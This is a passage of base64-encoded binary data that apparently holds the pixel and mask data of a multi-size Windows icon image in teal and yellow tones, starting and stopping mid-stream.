vIqv8+zbP/Ocqx/ybErP8zyLj/RMzC/y7Duf80xL3/L8O6/ybAtP8ww7j/MMK1/zzFuf8owrP/RMzB/zHEtv8ow7L/P82//0bRwf9M0b//VMS2/6KobP+trSf/t7c3/42ND/+joxn/pqYn/7S0Cf89PQb/pKSH////1P///+D/r68u/0dHAP86PFH/kZN8/0tXT/8PNlX/EDJS/z5QYU0AAAAAAAAAAAAAAAAAAAAAK4aIuirSsv8mxqX/J8Sk/y3Fpv80yK3/O8u1/z7Luf8auKX/Lb+z/zzEvv8nvLb/NMG5/yq4r/8turH/JrWr/zq/tv8ptar/N8G4/yu8sf8qv7H/MMK2/zrHuv9Lz8L/Os27/0e7sv+hq0b/1taM/9vbZP+ionX/ubmE/9jYaP/Z2YX/oKAv/9nZa//h4Yv/3t6b/2VlJ/8xU2f/HF6E/xVKbf8SP1//DTVV/x8+W9hMW2kRAAAAAAAAAABtj5J1Mcmx/yXHp/8qx6j/MMmq/zfKrv8qxKj/Lsev/0HLvP8twLL/JLap/zrBuf8zurT/KrSu/zS6s/8ttav/K7Go/z66tP83ta//Nbey/zy8t/8yu7P/ML62/y68sv82xbv/LMGz/y7Etf9UvLX/ZKSi/2ampP9qqqT/aKqk/2Woo/9vrqf/ebSv/3+ztP9nkqH/SHKJ/0x0iv8zbon/GWSK/xVPcv8tUmz/FCo+/wkhNv84T2R1AAAAAKCbnjZTraj4Jcyr/yvHqP8ux6j/MMan/zrKr/83yK//KMCq/x+6p/8svbH/NLy0/zC2r/85urX/KKum/zu3sv84q6j/MqWi/z2wrf9EpKb/N6qn/zSnpv8wqKX/L7ex/za5s/8ruK//I7Sn/zzFu/9DyMD/P8i//0rOxf9V0sj/WNfL/1TYyP9Y28r/X9/M/2Tiz/9uta3/YKKt/xlqjf8WYoT/GmWI/ytee/+usrb/j49E/0REAP8SIS/YAAAAAGt9g4I8vqv/Lc2s/zTMrf81yqz/Osqt/0DLsP83x6//Oca0/zfEtf8ktKf/Lbiv/0LBvf80pab/PaOk/yZuev82jZb/MpCV/zV+h/9Hn6P/M5GU/zSJjv82jZH/Oaal/z27tP8orqb/M7iy/zbAuf8pvbX/PsbA/1DMx/9Rz8n/WdXM/1jWyv9e28z/aeDQ/3C8tf97eyL/LDAJ/02dqv8RaZH/NneY/7K1q////4L///+P/6ysRf9RUQD/CgoAdUyJi5U0zLD/Lsmq/zPKq/85zK7/QM2x/zfGqv81xKz/McKu/ym7rP8vu7H/L7av/y60rf89o6T/OYeR/ypea/8qZXH/P4+c/yRKVv8wfIb/J2Vz/yZRXP8yfIT/Rpee/zCrpv80t7H/K7Ks/x2ooP8ntK3/ScfF/03Kxv9Fysb/TszF/17Ty/9e18v/bLau/3h4Kf+hoUT/lpYk/zI6Ef82i6D/PnKP/9fXtf///3j///+I/8HBbP9oaAD/ExQFskyZkJkuz7D/Lcin/zTKq/84yqz/QMuv/zzKrv88ybL/PMW1/y65rP8psqf/Kayk/zSlpP8zlJv/QI2Y/zJugP89jp3/OH6N/zJqdv8pb4D/OomW/zKBkf8pWW7/RY2X/zeSmv8wipH/IpaS/y+xrv84u7n/Nb27/za+vP9OyMb/XM3M/13SzP9U0sn/d4l//5ycPP/4+I//8fGS/3l5Hv8wX2H/FHOZ/0BsiP/S0rj/v79k/2FhAP8QICj/NlRvL0ybj6Iv0bH/OMut/znNr/84y6z/N8en/0DJrf9EyrX/OsS0/znCt/8wt67/MLCr/yyGi/8cQkz/N4KP/zZ5h/9Bj5//QpOk/zqSpP8xkaL/P6Gu/zOaqP9EmKf/Opai/zKAjv8RJS3/NZaa/za5t/8nq6b/Mbi2/0XBw/89vLv/RcXB/1TOyv9U0cr/dqWl/+bmsv///3b///+D/5WVh/9Vkov/QMDT/xNvlv9EbYX/bH2D/0JYZf8VQWT/QFhtN1eglaosz6//Mcur/zPJqf85yar/Psyv/0HLsf9ByLH/PMSy/z3DuP8wtaz/JZ+Z/y6Ylv8tcnv/MnuK/ytwgv8we47/PZ+y/02yw/9Vu8r/S7XF/1C0wf9Gr7r/OZyp/y96jP8qdX//M4yU/yaUkP8sp6X/NLa2/ySuqP8msKr/QMK//0fHwv9JzMT/UdLI/3Kjqf/r66n/oKB7/0eLg/+G6Nr/iO3l/0Svx/8PX4n/GmWO/xtYfv8UQGH/O1NoW2GgmKUpzKv/L8qq/zPIp/9AzK7/Osyu/zzLr/84xq7/Mr+s/y63p/8xtKn/NKOg/zuXmv8yd4P/LWt6/zJ1if8tjKH/U7LD/43Y6P+L2ur/iNfo/5La6v9WvMv/M56v/z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